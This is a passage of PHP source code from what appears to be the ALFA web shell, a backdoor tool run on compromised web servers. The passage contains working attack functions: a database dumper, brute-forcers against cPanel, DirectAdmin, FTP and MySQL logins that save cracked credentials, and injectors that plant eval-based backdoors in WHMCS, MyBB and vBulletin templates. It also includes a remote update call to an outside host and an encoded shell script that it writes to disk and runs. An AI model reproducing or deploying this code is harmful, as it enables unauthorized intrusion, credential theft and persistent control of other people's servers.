                echo '<li><span style="color:#00FF00;" class="box">' . $tbl . ' (' . $cols["data_count"] . ')</span><ul class="nested">';
                foreach ($cols["cols"] as $col) {
                    echo '<li tbl="' . $tbl . '"><span style="color:#00FF00;" tbl="' . $tbl . '" class="box sub-box">' . $col . '</span></li>';
                }
                echo "</ul></li>";
            }
            echo "</ul>";
        } else {
            echo "<center>mysqli_connect : Error!</center>";
        }
    }
    echo "</div>";
    alfafooter();
}
function alfaDumper()
{
    alfahead();
    echo "<div class=\"header\">";
    AlfaNum(8, 9, 10);
    echo "<center><br><div class='txtfont_header'>| Mysql Database Dumper |</div><br><br>" . getConfigHtml('all') . "<form method='post' onsubmit=\"g('dumper',null,null,null,this.db_username.value,this.db_password.value,this.db_name.value,this.dfile.value,this.db_host.value); return false;\"><p>";
    $table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'db_host : ', 'inputName' => 'db_host', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'db_username : ', 'inputName' => 'db_username', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'db_password : ', 'inputName' => 'db_password', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'db_name : ', 'inputName' => 'db_name', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'), 'td5' => array('color' => 'FFFFFF', 'tdName' => 'Dump Path: ', 'inputName' => 'dfile', 'inputValue' => htmlspecialchars($GLOBALS['cwd']) . 'alfa.sql', 'inputSize' => '50'));
    create_table($table);
    echo "<br><input type='submit' value=' ' name='Submit'></p></form></center>";
    $username = $_POST['alfa3'];
    $password = $_POST['alfa4'];
    $dbname = $_POST['alfa5'];
    $dfile = $_POST['alfa6'];
    $host = $_POST['alfa7'];
    if (!empty($dbname)) {
        echo __pre();
        $msg = "<center>Check this :  <font color='red'>" . $dfile . "</font></center>";
        if (@mysqli_connect($host, $username, $password, $dbname)) {
            if (strlen(alfaEx("mysqldump")) > 0) {
                alfaEx("mysqldump --single-transaction --host=\"{$host}\" --user=\"{$username}\" --password=\"{$password}\" {$dbname} > '" . addslashes($dfile) . "'");
                echo $msg;
            } else {
                __alert("Error...!");
            }
        } else {
            echo "<center>mysqli_connect : Error!</center>";
        }
    }
    echo "</div>";
    alfafooter();
}
function Alfa_DirectAdmin_Cracker($info)
{
    if (!$info['mysql']) {
        $url = $info['protocol'] . $info['target'] . ':' . $info['port'] . '/CMD_LOGIN';
    } else {
        $url = $info['protocol'] . $info['target'] . '/phpmyadmin';
    }
    $curl = curl_init();
    curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0');
    curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0);
    curl_setopt($curl, CURLOPT_HEADER, 0);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($curl, CURLOPT_URL, $url);
    curl_setopt($curl, CURLOPT_USERPWD, $info['username'] . ':' . $info['password']);
    if ($info['mysql']) {
        curl_setopt($curl, CURLOPT_HTTPAUTH, CURLAUTH_ANY);
    }
    $result = @curl_exec($curl);
    $curl_errno = curl_errno($curl);
    $curl_error = curl_error($curl);
    if ($curl_errno > 0) {
        echo "<font color='red'>Error: {$curl_error}</font><br>";
    } elseif (preg_match('/CMD_FILE_MANAGER|frameset/i', $result)) {
        echo 'UserName: <font color="red">' . $info['username'] . '</font> PassWord: <font color="red">' . $info['password'] . '</font><font color="green">  Login Success....</font><br>';
        $info['target'] = $url;
        CrackerResualt($info);
    }
    curl_close($curl);
}
function Alfa_CP_Cracker($info)
{
    $url = $info['protocol'] . $info['target'] . ':' . $info['port'];
    $curl = curl_init();
    curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0');
    curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0);
    curl_setopt($curl, CURLOPT_HEADER, 0);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($curl, CURLOPT_HTTPHEADER, array("Authorization: Basic " . __ZW5jb2Rlcg($info['username'] . ":" . $info['password']) . "\n\r"));
    curl_setopt($curl, CURLOPT_URL, $url);
    $result = @curl_exec($curl);
    $curl_errno = curl_errno($curl);
    $curl_error = curl_error($curl);
    if ($curl_errno > 0) {
        echo "<font color='red'>Error: {$curl_error}</font><br>";
    } elseif (preg_match('/filemanager/i', $result)) {
        echo 'UserName: <font color="red">' . $info['username'] . '</font> PassWord: <font color="red">' . $info['password'] . '</font><font color="green">  Login Success....</font><br>';
        $info['target'] = $url;
        CrackerResualt($info);
    }
    curl_close($curl);
}
function Alfa_FTP_Cracker($info)
{
    $url = $info['protocol'] . $info['target'];
    $curl = curl_init();
    curl_setopt($curl, CURLOPT_URL, $url);
    curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0');
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($curl, CURLOPT_USERPWD, "" . $info['username'] . ":" . $info['password'] . "");
    $result = @curl_exec($curl);
    $curl_errno = curl_errno($curl);
    $curl_error = curl_error($curl);
    if ($curl_errno > 0) {
        echo "<font color='red'>Error: {$curl_error}</font><br>";
    } elseif (preg_match('/(\\d+):(\\d+)/i', $result)) {
        echo 'UserName: <font color="red">' . $info['username'] . '</font> PassWord: <font color="red">' . $info['password'] . '</font><font color="green">  Login Success....</font><br>';
        $info['target'] = $url;
        CrackerResualt($info);
    }
    curl_close($curl);
}
function Alfa_Mysql_Cracker($info)
{
    if (@mysqli_connect($info['target'] . ':' . $info['port'], $info['username'], $info['password'])) {
        CrackerResualt($info);
        echo 'UserName: <font color="red">' . $info['username'] . '</font> PassWord: <font color="red">' . $info['password'] . '</font><font color="green">  Login Success....</font><br>';
    }
}
function Alfa_FTPC($info)
{
    if ($con = @ftp_connect($info['target'], $info['port'])) {
        if ($con) {
            $login = @ftp_login($con, $info['username'], $info['password']);
            if ($login) {
                CrackerResualt($info);
            }
        }
    }
    @ftp_close($con);
}
function CrackerResualt($info)
{
    $res = $info['target'] . ' => ' . $info['username'] . ":" . $info['password'] . "\n";
    $c = @fopen($info['fcrack'], 'a+');
    @fwrite($c, $res);
    @fclose($c);
}
function Alfa_Call_Function_Cracker($method, $info)
{
    switch ($method) {
        case 'cp':
            return Alfa_CP_Cracker($info);
        case 'direct':
        case 'phpmyadmin':
            return Alfa_DirectAdmin_Cracker($info);
        case 'ftp':
            return Alfa_FTP_Cracker($info);
        case 'mysql':
            return Alfa_Mysql_Cracker($info);
        case 'mysql':
            return Alfa_FTPC($info);
    }
}
function alfaCrackers()
{
    alfahead();
    AlfaNum(9, 10);
    echo "<div class=\"header\"><center><br><div class=\"txtfont_header\">| Brute Forcer |</div><br><br><form method=\"post\" onsubmit=\"g('Crackers',null,this.target.value,this.port.value,this.usernames.value,this.passwords.value,this.fcrack.value,'start',this.protocol.value,this.loginpanel.value);return false;\"><div class=\"txtfont\">Login Page: <select onclick=\"dis_input(this.value);\" name=\"loginpanel\">";
    foreach (array('cp' => 'Cpanel', 'direct' => 'DirectAdmin', 'ftp' => 'FTP', 'phpmyadmin' => 'PhpMyAdmin[DirectAdmin]', 'mysql' => 'mysql_connect()', 'ftpc' => 'ftp_connect()') as $key => $val) {
        echo '<option value="' . $key . '">' . $val . '</option>';
    }
    echo "</select> Protocol: <select id=\"protocol\" name=\"protocol\">";
    foreach (array('https://', 'http://', 'ftp://') as $val) {
        echo '<option value="' . $val . '">' . $val . '</option>';
    }
    echo '</select> Website/ip Address: <input id="target" type="text" name="target" value="localhost">
Port: <input id="port" type="text" name="port" value="2083">
<table width="30%"><td align="center">Users List</td><td align="center">Passwords</td></table>
<textarea placeholder="Users" rows="20" cols="25" name="usernames">' . ($GLOBALS['sys'] == 'unix' ? alfaEx("cut -d: -f1 /etc/passwd") : "") . '</textarea>
&nbsp <textarea placeholder="Passwords" rows="20" cols="25" name="passwords"></textarea><br><br>
Save Result Into File <input type="text" name="fcrack" value="cracked.txt">
<p><input type="submit" name="cracking" value=" " /></div></form></p><center>';
    $target = str_replace(array('https://', 'http://', 'ftp://'), '', $_POST['alfa1']);
    $port = $_POST['alfa2'];
    $usernames = $_POST['alfa3'];
    $passwords = $_POST['alfa4'];
    $fcrack = $_POST['alfa5'];
    $cracking = $_POST['alfa6'];
    $protocol = $_POST['alfa7'];
    $loginpanel = $_POST['alfa8'];
    $p = $loginpanel == 'phpmyadmin' ? $p = true : false;
    if ($cracking == 'start') {
        echo __pre();
        $exuser = explode("\n", $usernames);
        $expw = explode("\n", $passwords);
        foreach ($exuser as $user) {
            foreach ($expw as $pw) {
                $array = array('username' => trim($user), 'password' => trim($pw), 'port' => trim($port), 'target' => trim($target), 'protocol' => trim($protocol), 'fcrack' => trim($fcrack), 'mysql' => $p);
                Alfa_Call_Function_Cracker($loginpanel, $array);
            }
        }
        echo "<br><font color=\"red\">Attack Finished...</font>";
    }
    echo "</div>";
    alfafooter();
}
function output($string)
{
    echo "<br><pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br><center><font color=red><a target='_blank' href='" . $string . "'>Click Here !</a></font></b></center><br><br>";
}
function alfaShellInjectors()
{
    alfahead();
    echo "<div class=header>";
    AlfaNum(11);
    echo "<center><p><div class=\"txtfont_header\">| Cms Shell Injector |</div></p><center><h3><a href=javascript:void(0) onclick=\"g('ShellInjectors',null,'whmcs',null)\">| WHMCS | </a><a href=javascript:void(0) onclick=\"g('ShellInjectors',null,null,'mybb')\">| MyBB | </a><a href=javascript:void(0) onclick=\"g('ShellInjectors',null,null,null,'vb')\">| vBulletin |</a></h3></center>";
    $selector = '<p><div class="txtfont">Shell Inject Method : </div> <select name="method" style="width:100px;"><option value="auto">AutoMatic</option><option value="man">Manuel</option></select></p>';
    if (isset($_POST['alfa1']) && $_POST['alfa1'] == 'whmcs') {
        AlfaNum();
        echo __pre() . "<p><div class='txtfont_header'>| WHMCS |</div></p><center><center><p>" . getConfigHtml('whmcs') . "</p><form onSubmit=\"g('ShellInjectors',null,'whmcs',null,null,this.method.value,null,this.dbu.value,this.dbn.value,this.dbp.value,this.dbh.value,this.path.value); return false;\" method='post'>";
        $table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'Path WHMCS Url : ', 'inputName' => 'path', 'inputValue' => 'http://site.com/whmcs', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'Mysql Host : ', 'inputName' => 'dbh', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'Db Name : ', 'inputName' => 'dbn', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'Db User : ', 'inputName' => 'dbu', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'), 'td5' => array('color' => 'FFFFFF', 'tdName' => 'Db Pass : ', 'inputName' => 'dbp', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50'));
        create_table($table);
        echo "<p><div class=\"txtfont\">Shell Inject Method : </div> <select name=\"method\" style=\"width:100px;\"><option value=\"auto\">AutoMatic</option><option value=\"man\">Manuel</option></select></p>";
        echo "<p><input type='submit' value=' '></p></form></center></td></tr></table></center>";
        if (isset($_POST['alfa6'])) {
            $dbu = $_POST['alfa6'];
            $dbn = $_POST['alfa7'];
            $dbp = $_POST['alfa8'];
            $dbh = $_POST['alfa9'];
            $path = $_POST['alfa10'];
            $method = $_POST['alfa4'];
            $index = "{php}ALFA_UPLOADER;{/php}";
            $newin = "{php}ALFA_UPLOADER;{/php}";
            $newindex = "<p>Dear {php}ALFA_UPLOADER;{/php},</p><p>Recently a request was submitted to reset your password for our client area. If you did not request this, please ignore this email. It will expire and become useless in 2 hours time.</p><p>To reset your password, please visit the url below:<br /><a href=\"{\$pw_reset_url}\">{\$pw_reset_url}</a></p><p>When you visit the link above, your password will be reset, and the new password will be emailed to you.</p><p>{\$signature}</p>{php}if(\$_COOKIE[\"sec\"] == \"123\"){eval(base64_decode(\$_COOKIE[\"sec2\"])); die(\"!\");}{\\/php}";
            if (!empty($dbh) && !empty($dbu) && !empty($dbn) && !empty($index)) {
                if (filter_var($path, FILTER_VALIDATE_URL)) {
                    $conn = mysqli_connect($dbh, $dbu, $dbp, $dbn) or die(mysqli_connect_error());
                    $soleSave = mysqli_query($conn, "select message from tblemailtemplates where name='Password Reset Validation'");
                    $soleGet = mysqli_fetch_assoc($soleSave);
                    $tempSave1 = $soleGet['message'];
                    $tempSave = str_replace("'", "\\'", $tempSave1);
                    mysqli_query($conn, "UPDATE tblconfiguration SET value = '1' WHERE setting = 'AllowSmartyPhpTags'") or die(mysqli_error($conn));
                    $inject = "UPDATE tblemailtemplates SET message='<p>Dear {php}ALFA_UPLOADER;{/php},</p><p>Recently a request was submitted to reset your password for our client area. If you did not request this, please ignore this email. It will expire and become useless in 2 hours time.</p><p>To reset your password, please visit the url below:<br /><a href=\"{\$pw_reset_url}\">{\$pw_reset_url}</a></p><p>When you visit the link above, your password will be reset, and the new password will be emailed to you.</p><p>{\$signature}</p>{php}if(\$_COOKIE[\"sec\"] == \"123\"){eval(base64_decode(\$_COOKIE[\"sec2\"])); die(\"!\");}{\\/php}' WHERE name='Password Reset Validation'";
                    $result = mysqli_query($conn, $inject) or die(mysqli_error($conn));
                    $create = "insert into tblclients (email) values('[email protected]')";
                    $result2 = mysqli_query($conn, $create) or die(mysqli_error($conn));
                    if (function_exists('curl_version') && $method == 'auto') {
                        $AlfaSole = new AlfaCURL(true);
                        $saveurl = $AlfaSole->Send($path . "/pwreset.php");
                        $getToken = preg_match("/name=\"token\" value=\"(.*?)\"/i", $saveurl, $token);
                        $AlfaSole->Send($path . "/pwreset.php", "post", "token={$token[1]}&action=reset&[email protected]");
                        $backdata = "UPDATE tblemailtemplates SET message='{$tempSave}' WHERE name='Password Reset Validation'";
                        $Solevisible = mysqli_query($conn, $backdata) or die(mysqli_error($conn));
                        __alert("shell injectet...");
                        $ff = 'http://' . $path . "/solevisible.php";
                        output($ff);
                    } else {
                        echo "<br><pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br><center><b><font color=\"#FFFFFF\">Please go to Target => </font><a href='" . $path . "/pwreset.php' target='_blank'>" . $path . "/pwreset.php</a><br/><font color='#FFFFFF'> And Reset Password With Email</font> => <font color=red>[email protected]</font><br/><font color='#FFFFFF'>And Go To => </font><a href='" . $path . "/solevisible.php' target='_blank'>" . $path . "/solevisible.php</a></b></center><br><br>";
                    }
                } else {
                    __alert('Path is not Valid...');
                }
            }
        }
    }
    if (isset($_POST['alfa2']) && $_POST['alfa2'] == 'mybb') {
        AlfaNum(1, 2, 3, 5);
        echo __pre() . "<p><div class='txtfont_header'>| MyBB |</div></p><center><center>" . getConfigHtml("mybb") . "<form id='sendajax' onSubmit=\"g('ShellInjectors',null,null,'mybb',null,this.method.value,null,this.dbu.value,this.dbn.value,this.dbp.value,this.dbh.value,this.prefix.value); return false;\" method=POST>\r\n";
        $table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'Host : ', 'inputName' => 'dbh', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'DataBase Name : ', 'inputName' => 'dbn', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'User Name : ', 'inputName' => 'dbu', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'Password : ', 'inputName' => 'dbp', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50'), 'td5' => array('color' => 'FFFFFF', 'tdName' => 'Table Prefix : ', 'inputName' => 'prefix', 'id' => 'db_prefix', 'inputValue' => 'mybb_', 'inputSize' => '50'));
        create_table($table);
        echo $selector;
        echo "<p><input type=submit value=' '></p></form></center></center>";
        if (isset($_POST['alfa6'])) {
            $dbu = $_POST['alfa6'];
            $dbn = $_POST['alfa7'];
            $dbp = $_POST['alfa8'];
            $dbh = $_POST['alfa9'];
            $prefix = $_POST['alfa10'];
            $method = $_POST['alfa4'];
            $shellCode = "{\${ALFA_UPLOADER}}";
            $newinshell = "{\${ALFA_UPLOADER}}";
            if (!empty($dbh) && !empty($dbu) && !empty($dbn) && !empty($newinshell)) {
                $conn = mysqli_connect($dbh, $dbu, $dbp, $dbn) or die(mysqli_error($conn));
                $inject = "select template from {$prefix}templates where  title= 'calendar'";
                $result = mysqli_query($conn, $inject) or die(mysqli_error($conn));
                $GetTemp = mysqli_fetch_assoc($result);
                $saveDate = $GetTemp['template'];
                $repsave = str_replace($shellCode, "", $saveDate);
                $repsave = str_replace("'", "\\'", $repsave);
                $createShell = "update {$prefix}templates SET template= '" . $newinshell . $repsave . "' where title = 'calendar'";
                $result2 = mysqli_query($conn, $createShell) or die(mysqli_error($conn));
                $geturl = "select value from {$prefix}settings where name= 'bburl'";
                $findurl = mysqli_query($conn, $geturl) or die(mysqli_error($conn));
                $rowb = mysqli_fetch_assoc($findurl);
                $furl = $rowb['value'];
                $realurl = parse_url($furl, PHP_URL_HOST);
                $realpath = parse_url($furl, PHP_URL_PATH);
                $res = false;
                $AlfaCurl = new AlfaCURL();
                if (extension_loaded('sockets') && function_exists('fsockopen') && $method == 'auto') {
                    if ($fsock = @fsockopen($realurl, 80, $errno, $errstr, 10)) {
                        @fputs($fsock, "GET {$realpath}/calendar.php HTTP/1.1\r\n");
                        @fputs($fsock, "HOST: {$realurl}\r\n");
                        @fputs($fsock, "Connection: close\r\n\r\n");
                        $check = fgets($fsock);
                        if (preg_match("/200 OK/i", $check)) {
                            $repairdbtemp = "update {$prefix}templates SET template= '{$repsave}' where title = 'calendar'";
                            $clear = mysqli_query($conn, $repairdbtemp) or die(mysqli_error($conn));
                            $res = true;
                        }
                        @fclose($fsock);
                    }
                } elseif (function_exists('curl_version') && $method == 'auto') {
                    $AlfaCurl->Send($realurl . $realpath . "/calendar.php");
                    $res = true;
                }
                if ($res) {
                    $ff = 'http://' . $realurl . $realpath . "/solevisible.php";
                    output($ff);
                } else {
                    $ff = 'http://' . $realurl . $realpath . "/calendar.php";
                    $fff = 'http://' . $realurl . $realpath . "/solevisible.php";
                    echo "<br><pre id='strOutput' style='margin-top:5px' class='ml1'><br><center><b><font color='#FFFFFF'>Please Go To Target => </font><a href='" . $ff . "' target='_blank'>" . $ff . "</a><br/><font color='#FFFFFF'>And Go To => </font><a href='" . $fff . "' target='_blank'>" . $fff . "</a></b></center><br><br>";
                }
            }
        }
    }
    if (isset($_POST['alfa3']) && $_POST['alfa3'] == 'vb') {
        AlfaNum(1, 2, 7, 9, 10);
        echo __pre() . '<p><div class="txtfont_header">| vbulletin |</div></p><p>' . getConfigHtml('vb') . '</p><form name="frm" method="POST" onsubmit="g(\'ShellInjectors\',null,null,this.lo.value,\'vb\',this.user.value,this.pass.value,this.tab.value,this.db.value,this.method.value); return false;">';
        $table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'Host : ', 'inputName' => 'lo', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'DataBase Name : ', 'inputName' => 'db', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'User Name : ', 'inputName' => 'user', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'Password : ', 'inputName' => 'pass', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50'), 'td5' => array('color' => 'FFFFFF', 'tdName' => 'Table Prefix : ', 'inputName' => 'tab', 'id' => 'db_prefix', 'inputValue' => '', 'inputSize' => '50'));
        create_table($table);
        echo $selector;
        echo "<p><input type=\"submit\" value=\" \" /></p></form></center>";
        if (isset($_POST['alfa4']) && !empty($_POST['alfa4'])) {
            $method = $_POST['alfa8'];
            $faq_name = "faq";
            $faq_file = "/faq.php";
            $code = "{\${ALFA_UPLOADER}}{\${exit()}}&";
            $conn = @mysqli_connect($_POST['alfa2'], $_POST['alfa4'], $_POST['alfa5'], $_POST['alfa7']) or die(@mysqli_connect_error());
            $rec = "select `template` from " . $_POST['alfa6'] . "template WHERE title ='" . $faq_name . "'";
            $recivedata = @mysqli_query($conn, $rec);
            $getd = @mysqli_fetch_assoc($recivedata);
            $savetoass = $getd['template'];
            if (empty($savetoass)) {
                $faq_name = "header";
                $faq_file = "/";
                $rec = "select `template` from " . $_POST['alfa6'] . "template WHERE title ='" . $faq_name . "'";
                $recivedata = @mysqli_query($conn, $rec);
                $getd = @mysqli_fetch_assoc($recivedata);
                $savetoass = $getd['template'];
                $code = "ALFA_UPLOADER;";
            }
            $code = str_replace("'", "\\'", $code);
            $p = "UPDATE " . $_POST['alfa6'] . "template SET `template`='" . $code . "' WHERE `title`='" . $faq_name . "'";
            $ka = @mysqli_query($conn, $p) or die(mysqli_error($conn));
            $geturl = @mysqli_query($conn, "select `value` from " . $_POST['alfa6'] . "setting WHERE `varname`='bburl'");
            $getval = @mysqli_fetch_assoc($geturl);
            $saveval = $getval['value'];
            if ($faq_name == "header") {
                if (substr($saveval, -5, 5) == "/core") {
                    $saveval = substr($saveval, 0, -5);
                }
            }
            $realurl = parse_url($saveval, PHP_URL_HOST);
            $realpath = parse_url($saveval, PHP_URL_PATH);
            $res = false;
            $AlfaCurl = new AlfaCURL();
            if (extension_loaded('sockets') && function_exists('fsockopen') && $method == 'auto') {
                if ($fsock = @fsockopen($realurl, 80, $errno, $errstr, 10)) {
                    @fputs($fsock, "GET {$realpath}.{$faq_file} HTTP/1.1\r\n");
                    @fputs($fsock, "HOST: {$realurl}\r\n");
                    @fputs($fsock, "Connection: close\r\n\r\n");
                    $check = fgets($fsock);
                    if (preg_match("/200 OK/i", $check)) {
                        $p1 = "UPDATE " . $_POST['alfa6'] . "template SET template ='" . mysqli_real_escape_string($conn, $savetoass) . "' WHERE title ='" . $faq_name . "'";
                        $ka1 = @mysqli_query($conn, $p1) or die(mysqli_error($conn));
                        $res = true;
                    }
                    @fclose($fsock);
                }
            } elseif (function_exists('curl_version') && $method == 'auto') {
                $AlfaCurl->Send($realurl . $realpath . $faq_file);
                $p1 = "UPDATE " . $_POST['alfa6'] . "template SET template ='" . mysqli_real_escape_string($conn, $savetoass) . "' WHERE title ='" . $faq_name . "'";
                $ka1 = @mysqli_query($conn, $p1) or die(mysqli_error($conn));
                $res = true;
            }
            if ($res) {
                $ff = 'http://' . $realurl . $realpath . "/solevisible.php";
                output($ff);
            } else {
                $ff = 'http://' . $realurl . $realpath . $faq_file;
                $fff = 'http://' . $realurl . $realpath . "/solevisible.php";
                echo "<center><p><font color=\"#FFFFFF\">First Open This Link => </font><a href='" . $ff . "' target='_blank'>" . $ff . "</a><br/><font color=\"#FFFFFF\">Second Open This Link => </font><a href='" . $fff . "' target='_blank'>" . $fff . "</a></center></p>";
            }
        }
    }
    echo "</div>";
    alfafooter();
}
function alfacheckfiletype()
{
    $path = $_POST['path'];
    $arg = $_POST['arg'];
    if (@is_file($path . '/' . $arg)) {
        echo "file";
    } else {
        echo "dir";
    }
}
function alfacheckupdate()
{
    if ($GLOBALS["DB_NAME"]["cgi_api"]) {
        if (!isset($_COOKIE["alfacgiapi_mode"]) && !isset($_COOKIE["alfacgiapi"])) {
            _alfa_cgicmd("whoami", "perl", true);
            if (strlen(alfaEx("whoami", false, true)) > 0) {
                __alfa_set_cookie("alfa_canruncmd", "true");
            }
        }
    }
    if (function_exists("curl_version")) {
        $update = new AlfaCURL();
        $json = $update->Send("http://solevisible.com/update.json?ver=4.1");
        $json = @json_decode($json, true);
        $data = array();
        if ($json) {
            if (!isset($_COOKIE['alfa_checkupdate']) && !empty($json["type"])) {
                if ($json["type"] == "update") {
                    if (__ALFA_VERSION__ != $json['version'] || __ALFA_UPDATE__ != $json['version_number']) {
                        @setcookie("alfa_checkupdate", "1", time() + 86400);
                        $data["content"] = '<div class="update-holder">' . $json["content"] . '</div>';
                    }
                }
            }
            if (isset($json["ads"]) && !empty($json["ads"])) {
                $data["content"] .= $json["ads"];
            }
            if (isset($json["copyright"]) && !empty($json["copyright"])) {
                $data["copyright"] = $json["copyright"];
            }
            if (isset($json["solevisible"]) && !empty($json["solevisible"])) {
                $data["solevisible"] = $json["solevisible"];
            }
            if (isset($json["code_name"]) && !empty($json["code_name"])) {
                $data["code_name"] = $json["code_name"];
                $data["version_number"] = __ALFA_VERSION__;
            }
            if (isset($json["market"]) && !empty($json["market"])) {
                $data["market"] = $json["market"];
            }
            echo @json_encode($data);
        }
    }
}
function alfaWriteTocgiapi($name, $source)
{
    $temp = "";
    $not_api = array("basedir.alfa", "getdir.alfa", "getheader.alfa");
    if (in_array($name, $not_api)) {
        $temp = ALFA_TEMPDIR;
        if ($temp) {
            @chdir($temp);
        }
    } else {
        alfaCreateParentFolder();
        @chdir($GLOBALS['home_cwd'] . "/" . __ALFA_DATA_FOLDER__);
    }
    @mkdir('alfacgiapi', 0755);
    __write_file("alfacgiapi/" . $name, __get_resource($source));
    @chmod("alfacgiapi/" . $name, 0755);
    return $temp;
}
function alfacheckcgi()
{
    if (strlen(alfaEx("id", false, true, true)) > 0) {
        echo "ok";
    } else {
        echo "no";
    }
}
function alfaupdateheader()
{
    if (!isset($_COOKIE["updateheader_data"])) {
        $bash = "zZRdb9owFIavya849dIGJLK0vVyFNFTohERBgtFdQIRM4hAL40R2UkYp/312gPARqLqbaYnyIfs8x+85r+UvV04qhTOh3JGhMeg3nwbtWnnqecDUoz8+zPGMQBzGEBPBIF4mYcRBpJMlJFjA9I3GMNm+MAvwPXCFRR5OCMiU+pqqGI3ur067W280e/1aeTElCQQk8UJgS/4bGOUzCV6q0usZtojtORUiEhWDeGEENgFrhVJJgpShb8ORZxlBJIAC5WCuNqqH3931A/iRAepahNQLa2Y5+4JJK0ZpOIQrsN8AmdkgAteFmxvY5R8hk45Q1VK5q4YfcZKvjEbqdqsjD+3FID9acBZhn4iinoNS/62olOM5UXqQZZazf7AxvKu+JmB7d/bd/W3FyiDrEJJEUH9LyQTrWEDXKQzhegAuUtpu0RluKqI0PgNONfjjA9CP5phyqUE98dLq/RzU2+NG97ne6vRryFH7wnmlIkkxczbBqtlESGR06s/Nxvix23nahuki/a9exANkvNTbrXq/mWfAjGJJpKNneuMMVVOvWGwoNU4DUAbobponKrQRD5CEhBulbZT4OKq0K9As48UMrGansYoF5Ql0emsLTtEK7PqgLYQSYftljhpwYQ0mC3HvsPDAZseZjxKb+/79jfQ9VcgtyQGOHrFiegT7aguc2ANuRgTUyAWRgiC99XNDtm4Wx7deXrLogLvQt4OYsz07duP8isWUedB/7sOnXbgs9KT2w6CzxW/0fX6baH35ceGu1SnxBw==";
        $realdir = addslashes(dirname($_SERVER["SCRIPT_FILENAME"]));
        $tmp_path = alfaWriteTocgiapi("getheader.alfa", $bash);
        $data = alfaEx("cd '{$tmp_path}/alfacgiapi';sh getheader.alfa", false, true, true);
        if (@is_array(@json_decode($data, true))) {
            __alfa_set_cookie("updateheader_data", __ZW5jb2Rlcg($data));
            echo $data;
        }
    } else {
        echo __ZGVjb2Rlcg($_COOKIE["updateheader_data"]);
    }
}
function alfassiShell()
{
    alfahead();
    echo "<div class=header>";
    alfaCreateParentFolder();
    @chdir($GLOBALS['home_cwd'] . "/" . __ALFA_DATA_FOLDER__);
    @mkdir('alfa_shtml', 0755);
    @chdir('alfa_shtml');
    alfacgihtaccess('shtml');
